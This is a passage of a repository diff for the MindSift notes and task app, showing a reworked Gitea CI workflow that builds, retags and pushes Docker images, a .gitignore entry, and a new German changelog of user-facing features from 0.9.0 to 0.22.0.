# from the same code, a tag on the commit of :latest only retags it. The images carry commit and git
# tree as labels for this, so no extra tags end up in the registry.
on: on:
push: push:
branches: branches:
@@ -20,42 +24,16 @@ jobs:
- name: Checkout Code - name: Checkout Code
uses: actions/checkout@v4 uses: actions/checkout@v4
- name: Determine Registry & Docker Tag - name: Determine Registry & Image
id: prep id: prep
run: | run: |
SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}" SERVER_URL="${GITHUB_SERVER_URL:-https://git.dsit.me}"
REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##') REGISTRY_HOST=$(echo "${SERVER_URL}" | sed -E 's#^https?://##' | sed 's#/$##')
if [ -z "${REGISTRY_HOST}" ]; then [ -z "${REGISTRY_HOST}" ] && REGISTRY_HOST="git.dsit.me"
REGISTRY_HOST="git.dsit.me"
fi
REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}" REPO_PATH="${GITHUB_REPOSITORY:-sandrodach/mindsift}"
IMAGE_NAME=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')
REF_NAME="${GITHUB_REF_NAME:-latest}"
ACTOR_NAME="${GITHUB_ACTOR:-sandrodach}"
# Ersetze evtl. Slashes in Branch-Namen (z.B. rc/1.1 -> rc-1.1) für valide Docker-Tags
DOCKER_TAG=$(echo "${REF_NAME}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')
# All tags of this run (space separated)
case "${GITHUB_REF:-}" in
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
refs/heads/main) TAGS="latest" ;;
*) TAGS="${DOCKER_TAG}" ;;
esac
echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT" echo "registry=${REGISTRY_HOST}" >> "$GITHUB_OUTPUT"
echo "image=${IMAGE_NAME}" >> "$GITHUB_OUTPUT" echo "image=$(echo "${REGISTRY_HOST}/${REPO_PATH}" | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
echo "tag=${TAGS%% *}" >> "$GITHUB_OUTPUT" echo "actor=${GITHUB_ACTOR:-sandrodach}" >> "$GITHUB_OUTPUT"
echo "tags=${TAGS}" >> "$GITHUB_OUTPUT"
echo "actor=${ACTOR_NAME}" >> "$GITHUB_OUTPUT"
# Releases (tags) show the tag as version in the app header
APP_VERSION=""
case "${GITHUB_REF:-}" in
refs/tags/*) APP_VERSION="${REF_NAME}" ;;
esac
echo "app_version=${APP_VERSION}" >> "$GITHUB_OUTPUT"
echo "Target Docker image: ${IMAGE_NAME} tags: ${TAGS} (Registry: ${REGISTRY_HOST}, Actor: ${ACTOR_NAME})"
- name: Login to Gitea Container Registry - name: Login to Gitea Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v3
@@ -64,12 +42,30 @@ jobs:
username: ${{ steps.prep.outputs.actor }} username: ${{ steps.prep.outputs.actor }}
password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }} password: ${{ secrets.PUSH_TOKEN || secrets.GITEA_TOKEN || github.token }}
- name: Build & Run All Checks in Container, then Push - name: Build Plan
id: plan
run: REF="${GITHUB_REF:-}" COMMIT="${GITHUB_SHA:-HEAD}" IMAGE="${{ steps.prep.outputs.image }}" .gitea/scripts/build-plan.sh
- name: Build (with or without tests) or Retag, then Push
run: | run: |
IMAGE="${{ steps.prep.outputs.image }}" IMAGE="${{ steps.prep.outputs.image }}"
TAG_ARGS="" TAGS="${{ steps.plan.outputs.tags }}"
for t in ${{ steps.prep.outputs.tags }}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done echo "ℹ️ ${{ steps.plan.outputs.reason }}"
echo "🚀 Building container & executing Frontend/Backend checks inside image: ${IMAGE} (tags: ${{ steps.prep.outputs.tags }})" if [ "${{ steps.plan.outputs.action }}" = "retag" ]; then
DOCKER_BUILDKIT=1 docker build --progress=plain --build-arg APP_VERSION="${{ steps.prep.outputs.app_version }}" ${TAG_ARGS} . SOURCE="${{ steps.plan.outputs.source_image }}"
echo "✅ All checks & tests passed inside container! Pushing..." docker pull "${SOURCE}"
for t in ${{ steps.prep.outputs.tags }}; do docker push "${IMAGE}:${t}"; done for t in ${TAGS}; do
docker tag "${SOURCE}" "${IMAGE}:${t}"
docker push "${IMAGE}:${t}"
done
else
TAG_ARGS=""
for t in ${TAGS}; do TAG_ARGS="${TAG_ARGS} -t ${IMAGE}:${t}"; done
DOCKER_BUILDKIT=1 docker build --progress=plain \
--build-arg APP_VERSION="${{ steps.plan.outputs.app_version }}" \
--build-arg SKIP_TESTS="${{ steps.plan.outputs.skip_tests }}" \
--build-arg GIT_SHA="${{ steps.plan.outputs.sha }}" \
--build-arg GIT_TREE="${{ steps.plan.outputs.tree }}" \
${TAG_ARGS} .
for t in ${TAGS}; do docker push "${IMAGE}:${t}"; done
fi
+3
View File
@@ -18,3 +18,6 @@ dev-data/
.idea/ .idea/
.vscode/ .vscode/
e2e/node_modules/ e2e/node_modules/
# Whisper models (docker compose service "whisper")
whisper/
+502
View File
@@ -0,0 +1,502 @@
# Changelog
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
## [Unreleased]
## [0.22.0] - 2026-10-31
### Added
- Kanban am Handy und Tablet: Karten lassen sich mit dem Finger verschieben – kurz gedrückt halten, bis sie sich anhebt, dann auf eine andere Karte oder Spalte ziehen und loslassen. Am Rand scrollt die Seite mit (am Handy stehen die Spalten untereinander). Ein kurzer Tipp öffnet die Aufgabe wie bisher, Wischen scrollt.
- Admin-Einstellungen: Datenbank-Backups lassen sich neben „Download“ auch löschen (mit Rückfrage). Nur für Admins; Benutzer-Backups laufen weiter über die Aufbewahrungsdauer ab. Neu dafür ist `DELETE /api/v1/admin/backups/{name}`.
### Changed
- Meldung nach dem Teilen: größer und mit dem Daumen gut erreichbar – Text oben, darunter zwei große Knöpfe **Liste** und **Aufgabe** wie in der Triage, ein kleines ✕ in der Ecke; ein Tipp daneben schließt sie.
## [0.21.0] - 2026-10-31
### Added
- Teilen aus anderen Apps: Geteiltes landet wie bisher sofort im Quick Dump. Die Meldung danach bietet ein paar Sekunden lang **→ Aufgabe** und **→ Liste** an, um es mit einem Tipp stattdessen dort abzulegen (bei nur einer beschreibbaren Liste direkt, sonst mit kurzer Listenauswahl). Wer nichts tippt, behält den gewohnten Ablauf.
## [0.20.0] - 2026-10-31
### Changed
- App-Verknüpfungen (App-Icon gedrückt halten): Statt „Capture“ und „Triage“, die nur die Startseite öffneten, gibt es jetzt **Quick Dump**, **Neue Aufgabe** und **Einkaufsliste** mit eigenen Symbolen. Jede öffnet den passenden Bereich mit dem Eingabefeld (Quick-Dump-Fenster, „Neue Aufgabe“, neuer Listeneintrag). Alte Verknüpfungen führen weiter zum Quick Dump. Neue Verknüpfungen übernimmt Android, sobald es die App aktualisiert (oder nach Neuinstallation).
## [0.19.0] - 2026-10-31
### Added
- Notizen am Handy und Tablet: Solange man in einem Punkt schreibt, sitzt direkt über der Bildschirmtastatur eine schmale Leiste mit Ausrücken, Einrücken, Nach oben und Nach unten (ersetzt Tab / Umschalt+Tab). Der Punkt nimmt seine Unterpunkte mit, bleibt beim Verschieben unter seinem Elternpunkt, und die Tastatur bleibt offen. Mit Maus oder Stift erscheint die Leiste nicht.
## [0.18.1] - 2026-10-31
### Fixed
- Workspace am Handy: Nach dem Öffnen des Journals und „Zurück“ blieb der Journal-Eintrag halb markiert, und er war kleiner beschriftet als die Ordner. Er sieht jetzt aus wie ein normaler Eintrag (gleiche Höhe und Schrift wie die Ordner); am Desktop öffnet er sich wie bisher als Bereich mit Kalender.
## [0.18.0] - 2026-10-31
### Changed
- E-Mails haben ein einheitliches Aussehen im Stil der App: Logo mittig oben, darunter eine Karte mit Begrüßung („Guten Morgen, …“ je nach Tageszeit), dem eigentlichen Inhalt und einem Knopf zur App, unten der Hinweis, warum die E-Mail kommt. Das Logo steckt in der E-Mail selbst (erscheint also auch ohne nachgeladene Bilder und ohne `BASE_URL`); jede E-Mail hat zusätzlich eine gleich aufgebaute Textfassung.
- Tageszusammenfassung: Aufgaben stehen in Abschnitten „Überfällig“, „Heute“ und „Morgen“, mit Uhrzeit und Liste darunter.
- Fälligkeits-Alarm, Neuigkeiten, Passwort zurücksetzen, Kontoänderung (mit hervorgehobenem Sicherheitshinweis), Test-Alarm und SMTP-Test nutzen dasselbe Layout; bisher kamen die meisten davon als reiner Text.
## [0.17.4] - 2026-10-31
### Fixed
- Benutzermenü: Bei runden Ecken (Theme-Einstellung) ragte der eckige Kopfbereich mit Name und Rolle oben über den Rand des Menüs hinaus.
## [0.17.3] - 2026-10-31
### Fixed
- Fälligkeits-Benachrichtigungen kamen nach jedem Verschieben im Kanban-Board erneut: Beim Verschieben wurde für alle offenen Aufgaben der betroffenen Spalten vermerkt, dass ihr Alarm noch aussteht. Jetzt bekommt nur eine Aufgabe, die von „Erledigt“ wieder geöffnet wird, ihren Alarm erneut.
## [0.17.2] - 2026-10-31
### Changed
- Workspace am Handy: Notizen, To-Dos und Hashtags wechselt man jetzt wie bei Aufgaben und Einkaufslisten über das Menü oben (Logo); die Reiterzeile entfällt dort. Ordner und Notizen in der Liste sind so hoch wie das Suchfeld (44 px) und damit leichter zu treffen.
- Aufgaben am Handy: Die Kopfleiste ist bei „Alle Aufgaben“ genauso hoch wie bei einzelnen Listen und wie bei den Einkaufslisten.
## [0.17.1] - 2026-10-31
### Changed
- Kanban maximieren: Nur noch das Board wird breiter, Listen-Reiter und „Neue Aufgabe anlegen“ behalten ihre Breite. Das Board wächst weich animiert, jede Spalte wird höchstens 380 px breit und das Board bleibt mittig (bei wenigen Spalten also schmaler als das Fenster).
- Ladebildschirm: Statt immer in Blau erscheint er in den Farben des zuletzt auf dem Gerät genutzten Themes (Hintergrund, Logo in der Akzentfarbe, Statusleiste passend); beim allerersten Besuch bleibt er blau. Neu dafür ist `boot-theme.js` (eigene Datei wegen der Content-Security-Policy); die App-Caches werden einmal erneuert.
- Journal: Vor dem Titel eines Tages steht statt des bunten Kalender-Emojis ein schlichtes Kalender-Symbol in der Textfarbe des Themes (nicht anklickbar, das Icon lässt sich im Journal ohnehin nicht ändern).
### Fixed
- App installieren am Handy: Meldet Chrome erst nach dem Öffnen der Anleitung, dass MindSift installierbar ist (z. B. kurz nach dem Entfernen der alten App), erscheint in der Anleitung jetzt ein Knopf „Jetzt installieren“ für die direkte Installation.
## [0.17.0] - 2026-10-31
### Added
- Aufgaben und Kanban: Eine Aufgabe lässt sich auf den Reiter einer anderen Aufgabenliste ziehen und landet dort wie eine neue Aufgabe. Ihren Kanban-Status behält sie, wenn die Zielliste diese Spalte hat, sonst startet sie in der ersten Spalte. Nur lesbare Listen nehmen nichts an.
- Einkaufslisten: Einträge lassen sich genauso auf den Reiter einer anderen Liste ziehen; Kategorie, Menge und Haken bleiben erhalten. Neu dafür ist `POST /api/v1/lists/{id}/items/{itemId}/move` (Bearbeitungsrecht in beiden Listen nötig).
- Aufgaben und Einkaufslisten merken sich beim Wechsel zwischen den Reitern der App die offene Liste, Aufgaben außerdem Liste oder Kanban (pro Browser-Tab, wie der Workspace).
### Changed
- Einkaufslisten: Die Verbindungsanzeige oben rechts sieht jetzt aus wie bei den Notizen (Punkt und „Live“ bzw. „Offline“) statt des alten Funk-Symbols.
### Fixed
- Push-Benachrichtigungen am Handy: In der Statusleiste erschien statt des Gehirn-Symbols nur ein einfarbiges Quadrat. Android nutzt dort nur die Transparenz des Bildes; MindSift liefert dafür jetzt ein eigenes Symbol (weißes Gehirn auf transparentem Grund). Die App-Caches werden einmal erneuert.
## [0.16.1] - 2026-10-31
### Changed
- README-Screenshots aufgeräumt: Nur noch das Titelbild ist diagonal hell/dunkel geteilt, Handy und übrige Ansichten zeigen jeweils ein Theme. Neu ist ein Raster mit den Farbfamilien Fjord, Terrakotta, Polarized und Suri (je hell/dunkel diagonal, im Kanban-Board).
### Fixed
- Einstellungen am Handy: Bei der Tageszusammenfassung ragten die Kanal-Schalter (E-Mail, Discord, Webhook, Push) rechts aus dem Bild. Am Handy stehen sie jetzt zu zweit untereinander.
## [0.16.0] - 2026-10-31
### Added
- Kanban: Neben „Spalten anpassen“ streckt ein kleiner Knopf (diagonale Pfeile) das Board auf die volle Fensterbreite; alle Spalten stehen dann nebeneinander. Die Einstellung merkt sich der Browser, am Handy gibt es den Knopf nicht.
### Fixed
- Aufgaben: Ein neuer Quick-Dump-Eintrag (z. B. per Spracheingabe über das gehaltene Plus) tauchte kurz oben in den Aufgaben auf, obwohl er in die Triage gehört. Live-Änderungen nehmen jetzt nur noch echte Aufgaben auf; eine per „Rückgängig“ zurück in die Triage geholte Aufgabe verschwindet auch sofort aus der Liste.
- Kanban: Bei runden Ecken (Theme-Einstellung) ragten die eckigen Spaltenüberschriften oben über den Spaltenrand hinaus.
## [0.15.1] - 2026-10-31
### Fixed
- Triage am Handy: Die Warteschlange lässt sich wieder zuklappen („Warteschlange ausblenden“) und fährt beim Auf- und Zuklappen weich auf bzw. zu.
- Triage auf dem Desktop: Notizen, die auf einem anderen Gerät einsortiert oder gelöscht wurden, verschwinden jetzt sofort auch hier (bisher wurde nur der Aufgaben-Tab aktualisiert). Kommt der Tab wieder in den Vordergrund, lädt er außerdem neu, falls Änderungen im Hintergrund verpasst wurden.
- Aufgaben: Ein Tipp irgendwo auf die Aufgabe öffnet sie jetzt zuverlässig, nicht nur auf den Text. Bisher schluckten die Zeile mit Datum/Tags und in Kanban die Pfeil-Leiste jeden Tipp, und am Handy konnte ein etwas längerer Tipp als Ziehen gewertet werden (Ziehen gibt es nur noch mit Maus oder Stift).
## [0.15.0] - 2026-10-31
### Changed
- Hashtag-Übersicht: Kacheln sind breiter (so viele Spalten wie mit mindestens 18rem passen), Tag-Namen und Notiztitel haben mehr Platz.
- README überarbeitet und Screenshots erneuert: jedes Bild zeigt links das helle und rechts das dunkle Theme (diagonal geteilt), neu sind Journal und Notiz am Handy. `e2e/screenshots.sh` erzeugt die Paare selbst (`SHOT_LIGHT`/`SHOT_DARK` für andere Farbfamilien) und läuft wie die Tests mit eigenem Container und Port.
## [0.14.3] - 2026-10-31
### Changed
- Slash-Menü: Befehle, deren Name mit dem Getippten beginnt, stehen oben (`/li` → zuerst `/link`), danach Aliase, dann Treffer im Namen, zuletzt in der Beschreibung.
- Link-Vorschau: Karte und Bild etwa doppelt so hoch; statt der nackten Adresse steht darunter eine kleine Link-Markierung (Domain und Pfad) in der Akzentfarbe des Themes.
- Links in normalen Punkten: Die grüne Markierungsleiste unter dem Punkt entfällt; Web-Adressen im Text sind jetzt direkt anklickbar (Satzzeichen am Ende gehören nicht zum Link).
## [0.14.2] - 2026-10-31
### Fixed
- Installierte App: Der Service Worker lieferte `manifest.json` zuerst aus dem Cache, sodass der Browser bei der Prüfung auf geänderte App-Farben noch die alte blaue Fassung sah. Das Manifest kommt jetzt immer frisch vom Server (Cache nur offline); die App-Caches werden einmal erneuert.
## [0.14.1] - 2026-10-30
### Fixed
- Benutzermenü: Der Hell/Dunkel-Schalter ragte aus dem Menü heraus und zeigte „Wie System“ nicht an, wenn sich dabei das Theme nicht änderte. Er steht jetzt in einer eigenen Zeile (Hell · Dunkel · System) und zeigt jede Auswahl sofort.
- Footer: eine gleichmäßige, kleinere Zeile („MindSift v… · Über MindSift“, rechts die Rechtstexte) in einheitlicher Schrift statt fett/Monospace gemischt, die schief wirkte.
## [0.14.0] - 2026-10-30
### Added
- Themes als Farbfamilien mit je einer hellen und dunklen Variante: Klassik, **Fjord** (neu, Gletscherblau / Nachtblau), Terrakotta, Polarized (neu: **Polarized Hell**), Suri (neu: **Suri Hell**).
- Darstellung in den Kontoeinstellungen: Tabelle Familie × Hell/Dunkel, „Hell oder dunkel: Wie System“ (wechselt innerhalb der Familie mit dem Gerät), Ecken (Wie Theme / Rund / Eckig), Rahmen an Knöpfen (mit / ohne) und eine eigene Akzentfarbe (Vorschläge oder frei wählbar). Alles gilt pro Gerät.
- Benutzermenü und Handy-Profil: kompakte Schnellwahl mit einem Farbpunkt pro Familie und Hell / Dunkel / Wie System; eigene Themes darunter.
### Changed
- Code-Farben aus `index.css` sind nur noch Rückfallwerte; die Code-Farben eines Themes gewinnen immer.
## [0.13.0] - 2026-10-30
### Added
- Neues Theme **Terrakotta Nacht**: das dunkle Gegenstück zu Terrakotta – Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent, Salbeigrün, weiche Ecken.
- Animationen: Menüs (Benutzermenü, Drei-Punkte-Menü), Dialoge und Bottom-Sheets blenden und gleiten weich ein; am Handy schiebt sich eine Notiz von rechts herein und die Liste beim Zurück von links. Am PC bleibt der Notizwechsel sofort. Bei „Bewegung reduzieren“ im System gibt es keine Animationen.
### Removed
- Theme „Soft Slate“; wer es aktiv hatte, bekommt automatisch „Terrakotta Nacht“.
### Fixed
- Die vorhandenen Ein-/Ausblend-Animationen (`animate-in`, `fade-in`, `slide-in-from-*`) liefen nie, weil das Tailwind-Plugin fehlte (`tailwindcss-animate`).
## [0.12.2] - 2026-10-30
### Fixed
- Triage am Desktop: Bei nur einer Liste mit langem Namen ragte „Aufgabe“ rechts über die Karte hinaus; der Listenname im Knopf wird jetzt gekürzt (voller Name im Tooltip).
## [0.12.1] - 2026-10-30
### Fixed
- Workspace → To-Dos: Die Gruppierung (Ordner → Notiz) wird pro Ebene gleichmäßig abgestuft – im hellen Theme jede Ebene etwas dunkler, im dunklen etwas heller – statt zwischen grau und weiß hin und her zu springen.
## [0.12.0] - 2026-10-30
### Added
- Neues Theme **Terrakotta**: warmes Cremepapier für Notizen, sandfarbene Seitenleiste, tintendunkle Schrift, gebrannter Terrakotta-Akzent mit Salbeigrün und weiche Ecken; Code-Hervorhebung in Erdtönen.
### Removed
- Theme „High Contrast“. Wer es aktiv hatte, bekommt automatisch „MindSift Dark“.
### Changed
- Themes: Ob ein Theme hell ist (helle Code-Farben, kein Dunkelmodus), richtet sich nach seiner Hintergrundfarbe statt nur nach „Light“.
- Kopfzeile am Handy: Such-Knopf und Profilbild sind gleich große Kreise.
## [0.11.1] - 2026-10-30
### Changed
- Triage am Handy: unter der Karte zwei große Knöpfe „← Wegwerfen“ und „Aufgabe →“ (wie Wischen), darunter ein Viererblock wie im Gedrückthalten-Menü: Auf Liste, Mit Termin, Als Notiz, Später. Die Warteschlange ist am Handy zugeklappt; „Warteschlange anzeigen“ klappt sie auf und scrollt hin.
## [0.11.0] - 2026-10-30
### Added
- Fokus-Modus: Ordner und Notizen gleiten von links herein – über den Ordner-Knopf oder einen Klick auf den Titel in der Kopfleiste, auf breiten Bildschirmen auch, wenn die Maus den linken Rand berührt. Eine andere Notiz öffnet sich, ohne den Fokus-Modus zu verlassen; `Esc` schließt zuerst die Leiste.
- Fokus-Modus für Notizen: `Strg+Umschalt+F` oder „Fokus-Modus starten“ im Drei-Punkte-Menü. Nur die Notiz in angenehmer Lesebreite über dem ganzen Fenster; die Kopfleiste (Titel, Rückgängig, Teilen, Menü, „Beenden“) gleitet herein, wenn die Maus den oberen Rand berührt. `Esc` beendet ihn; am Handy über einen runden Knopf unten rechts.
- **Push-Benachrichtigungen** (Web Push) auf Handy und Desktop, auch wenn MindSift geschlossen ist: unter Kontoeinstellungen → Alarme pro Gerät einschalten und testen; „Push“ ist eine eigene Spalte für jedes Ereignis (auch fällige Aufgaben) und die Tageszusammenfassung. iPhone und iPad ab iOS 16.4, wenn MindSift zum Home-Bildschirm hinzugefügt wurde. Schlüssel per `VAPID_*` oder automatisch erzeugt. API: `/push/key`, `/push/devices`, `/push/subscribe`, `/push/unsubscribe`, `/push/test`.
- Links auf einzelne Punkte: „Link zu diesem Punkt kopieren“ in der Aktionsblase eines Punkts oder im Link-Dialog (`/link`) über „Punkt dieser Notiz wählen“. Format `[[Notiz#^id|Notiz › Auszug]]`; ein Klick öffnet die Notiz, springt zum Punkt und hebt ihn hervor. Gibt es den Punkt nicht mehr (verschoben, ausgelagert, gelöscht), öffnet sich die Notiz mit einem Hinweis. Wiki-Links stehen im Text jetzt mit ihrem Anzeigetext und sind direkt anklickbar.
- Globaler Desktop-App-Footer mit Versionsnummer, „Über MindSift“, dynamischen Rechtstexten (Impressum, Datenschutz) sowie optional konfigurierbarem Custom-Link (`LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL`).
- „Über MindSift“-Dialog und Versionsanzeige im mobilen Profil-Menü (Avatar-Menü oben rechts).
- PWA Web Share Target: Text, Links und Bilder können über den nativen Teilen-Dialog des Smartphones direkt in den MindSift-Posteingang geteilt werden (`share_target` im Manifest, Abfangen im Service Worker via IndexedDB und Übernahme beim App-Start; Fallback-Route `POST /share-target` im Server).
### Changed
- Inline-Code mit dezentem hellen Schimmer im dunklen Theme (Textfarbe mit geringer Deckkraft als Hintergrund) statt dunklem Code-Hintergrund, in hellen Themes entsprechend leicht grau.
- Installierte App: Statusleiste beim Start und Android-Navigationsleiste schwarz statt blau (die Navigationsleiste kann der Browser nur aus dem Manifest färben, nicht pro Theme); die Statusleiste folgt danach wie bisher dem Theme.
- Notizen-Seitenleiste: Die ausgewählte Notiz ist nur noch hinterlegt (ohne Rahmen); das Journal-Panel und die Monats-/Jahresauswahl im Kalender kommen ebenfalls ohne Rahmen aus.
- Code-Blöcke ohne Rahmen und Kopfleiste: oben links nur die Sprache, Kopieren als runder Symbol-Knopf unten rechts (erscheint beim Überfahren, am Handy immer). „In normalen Text umwandeln“ steht für Code-Blöcke (und nummerierte Punkte) in der Aktionsblase des Punkts.
- Code-, Audio- und Diktat-Blöcke haben unabhängig vom Theme runde Ecken; Callouts bleiben eckig.
- Inline-Code ist einfarbig (Text in Haupttextfarbe auf dem Code-Hintergrund des Themes) statt in Akzentfarbe, für bessere Lesbarkeit.
- Notizen: Enter in einem leeren eingerückten Punkt rückt ihn nur noch aus, wenn danach kein Punkt mehr auf derselben Ebene folgt; sonst entsteht wie gewohnt ein neuer Punkt darunter (auch nummerierte Listen werden dann nicht beendet).
- Workspace-Leiste: Live, Geteilt und Speicherstatus ohne Rahmen im gleichen Stil, ein senkrechter Trennstrich vor den Notiz-Knöpfen. Footer ohne Linie darüber.
- Journal: Panel und Kalender öffnen sich mit einer sanften Animation, die Journal-Ansicht blendet ein.
- Einfügen und Markdown-Import: Eine Liste direkt nach einem Absatz („Folgende Punkte:“) wird unter diesem Absatz eingerückt.
- Workspace am Desktop (ab 1024 px): Die eigene Kopfleiste der Notiz entfällt. Rückgängig, Wiederholen, Teilen und das Drei-Punkte-Menü stehen oben in der Workspace-Leiste, in fester Reihenfolge: Avatare, Live, Geteilt, Speicherstatus (nur noch als Symbol, Text als Tooltip), dann die Knöpfe. Beim Fokus-Modus stehen die Breadcrumbs über dem Titel. Am Handy und Tablet bleibt die Kopfleiste.
- Notizen-Seitenleiste: Überschrift „Notizen & Outliner“ entfernt, Suche und die Knöpfe für neuen Ordner und neue Notiz stehen in einer Zeile.
- Journal: Geöffnet ist es ein hinterlegtes Panel mit Rahmen, „Journal“ ist dessen Überschrift; ein zweiter Klick schließt es und zeigt wieder die vorherige Notiz. Ob das Journal offen war und welche Notiz offen war, bleibt beim Wechsel zwischen den Tabs erhalten (Journal-Tage öffnen sich nicht mehr als einzelne Notiz).
- Notizen: Beim Einfügen und beim Markdown-Import werden Absätze und Listen unter einer Überschrift eingerückt (H2 unter H1 eine Ebene tiefer), so lassen sich Abschnitte einklappen und fokussieren. Enter am Ende einer Überschrift legt den neuen Punkt als Unterpunkt an; `- `, `* ` oder `+ ` in einem leeren Punkt machen ihn zum normalen Aufzählungspunkt.
- CI: Tests laufen pro Code-Stand nur einmal. `main` baut ohne erneute Tests, wenn derselbe Stand schon als `dev` getestet wurde; ein Release-Tag auf denselben Commit wie `latest` baut nicht neu, sondern taggt `latest` um. Die Zuordnung steht als Label im Image (keine zusätzlichen Image-Tags in der Registry). Dockerfile: `SKIP_TESTS`, BuildKit-Caches für Go und npm.
### Fixed
- Notizen: Formatierung innerhalb von fett, kursiv oder durchgestrichen wird angezeigt, z. B. fetter Inline-Code `**`services`**` (bisher standen Backticks im Text).
## [0.10.0] - 2026-10-30
### Added
- Nummerierte Listen im Outliner: `/number` (auch `/nummer`, `/liste`) oder `1. ` am Anfang eines leeren Punkts; Enter setzt die Liste fort, Enter in einem leeren Punkt beendet sie. Eingerückte Listen zählen mit Buchstaben (a., b.), die nächste Ebene römisch (i., ii.), danach wieder mit Zahlen. Export und Import als Markdown (`1.`).
- **Journal** im Workspace: ganz oben in der Seitenleiste; eine Notiz pro Tag mit festem Datumstitel, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach). Solange das Journal offen ist, zeigt ein Kalender mit Monats- und Jahresauswahl den Tag, bei dem man gerade ist; Tage mit Einträgen haben einen Punkt, ein Klick springt hin (und legt den Tag bei Bedarf an). „Teilen“ gilt dem gerade sichtbaren Tag. Am Handy klappt der Kalender über die Kopfzeile auf. Unter Darstellung pro Gerät abschaltbar. API: `GET /journal`, `POST /journal/{date}`.
- Benachrichtigungen: Der eigene Webhook ist jetzt ein vollwertiger Kanal neben E-Mail und Discord – eigene Spalte „Webhook“ für jedes Ereignis und die Tageszusammenfassung; gebündelte Nachrichten kommen als JSON (`event: "digest"` mit Liste der Ereignisse).
- Outliner: Neuer Slash-Befehl `/text` (sowie Aliase `/p`, `/paragraph`, `/bullet`, `/standard`), um beliebige Blöcke (Überschriften, Callouts, Aufgaben, Trennlinien) in Standard-Text umzuwandeln; Aufgaben-Optionen und Block-Aktionsblase bieten ebenfalls die Rückumwandlung an.
- Triage-Deck: Touch-freundliche Schnellaktions-Leiste unter der aktiven mobilen Karte (Wegwerfen, Liste, Notiz, Aufgabe) mit Daumenbedienung (≥ 44 px).
### Changed
- Schrift: MindSift liefert die Schrift Inter jetzt selbst aus (ohne externen Dienst), damit die Oberfläche auf allen Geräten gleich aussieht. Notiztitel stehen in einer feinen, dünnen Schrift und etwas größer.
- Notizen: Der Titel in der Kopfleiste erscheint erst, wenn der große Titel aus dem Bild gescrollt ist; am Handy passt die Kopfleiste in eine Zeile.
- Das Bild für `main` (`latest`) zeigt die Versionsnummer ohne `-dev`; nur `dev` und andere Zweige behalten den Zusatz.
- Outliner: Schriftgrößen für H1 (`text-xl sm:text-2xl font-bold`), H2 (`text-lg sm:text-xl font-semibold`) und H3 (`text-base font-semibold`) deutlich angehoben bei synchroner Textarea und dezentem oberen Abstand.
- Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen, Text-Umwandlung) als schwebende, kontrastreiche Blase (`backdrop-blur-sm`) positioniert, wodurch der Fließtext beim Einblenden nicht mehr ruckartig umbricht.
- Outliner: Aktiver Eintrag im Slash-Befehlsmenü dezent als `bg-accent-dim text-accent` hervorgehoben statt vollflächig deckend.
- Quick Dump (Instant Capture): Platzhaltertexte gekürzt, vertikales Scrolling im einzeiligen Zustand unterbunden und Absende-Pfeil nach unten ausgerichtet.
- Zähler-Badges (`CountBadge`): Akzent-Badge über `--accent-dim` mit Rand, Muted-Badge über `--bg-panel-elevated` und `--text-muted` für hohe Lesbarkeit in allen Themes.
- Workspace: Popover-Dialoge (`FormSheet` mit Anker) öffnen zentriert unter dem Mauszeiger mit Rand-Schutz (Viewport-Clamping).
### Fixed
- Notizen: Eingefügter Text mit Zeilenumbrüchen, der in einem einzigen Punkt landet (z. B. ein Absatz), verschwand – er wird jetzt übernommen. Leerzeilen trennen eingefügte Absätze in eigene Punkte, nummerierte Markdown-Listen bleiben nummeriert (auch mit 3 oder 4 Leerzeichen Einrückung), umbrochene Zeilen gehören zum Punkt darüber.
- Kontoeinstellungen: Der eigene Webhook ließ sich zwar eintragen, aber nicht mehr einschalten (seit dem Umbau der Benachrichtigungen in 0.8.0).
- Workspace: kein doppelter Scrollbalken mehr – die Seite selbst scrollt nicht, nur die Notiz; am Handy scrollt die Notiz nicht mehr getrennt von der Seite.
- Workspace: Ein abgebrochenes Ziehen in der Seitenleiste lässt „Auf Hauptebene verschieben“ nicht mehr stehen.
- Workspace: Der Knopf zum Ein-/Ausklappen der Ordnerleiste ist im eingeklappten Zustand dezent (nur das Symbol in Akzentfarbe).
- Outliner: Slash-Befehle werden an der tatsächlichen Cursorposition im Text erkannt (`/link`, `/diktat`); `/divider`, `/image`, `/audio` und `/code` werden nur noch in leeren Blöcken angeboten; das Menü schließt bei Klick ins Leere und Blur.
- Outliner: Aufgaben-Badges und Drei-Punkte-Menü aus dem Fließtext-Container entkoppelt, um störende Zeilenumbrüche am Zeilenende zu beheben.
- Outliner: Trennlinien (`divider`) können fokussiert und per `Backspace` oder `Entf` direkt in einen leeren Textpunkt umgewandelt werden.
- Kontoeinstellungen: Der Bereich „Profil & Anmeldedaten“ nutzt die volle Breite wie die übrigen Bereiche.
- Light-Theme: Notizen stehen auf einem weißen Blatt, die Ordnerleiste ist dezent grau abgesetzt (bisher umgekehrt). Themes können das über die neuen Variablen `--bg-editor` und `--bg-sidebar` selbst festlegen.
## [0.9.0] - 2026-10-30
### Added
- Formatierungs-Kürzel im Outliner: `Strg+B` / `Cmd+B` für fett, `Strg+I` / `Cmd+I` für kursiv (mit Ein-/Ausschalten bei markiertem Text) und `Strg+K` / `Cmd+K` für Links (mit Markierung `[Text](…)` mit vorselektierter Adresse, ohne Markierung Link-Dialog).
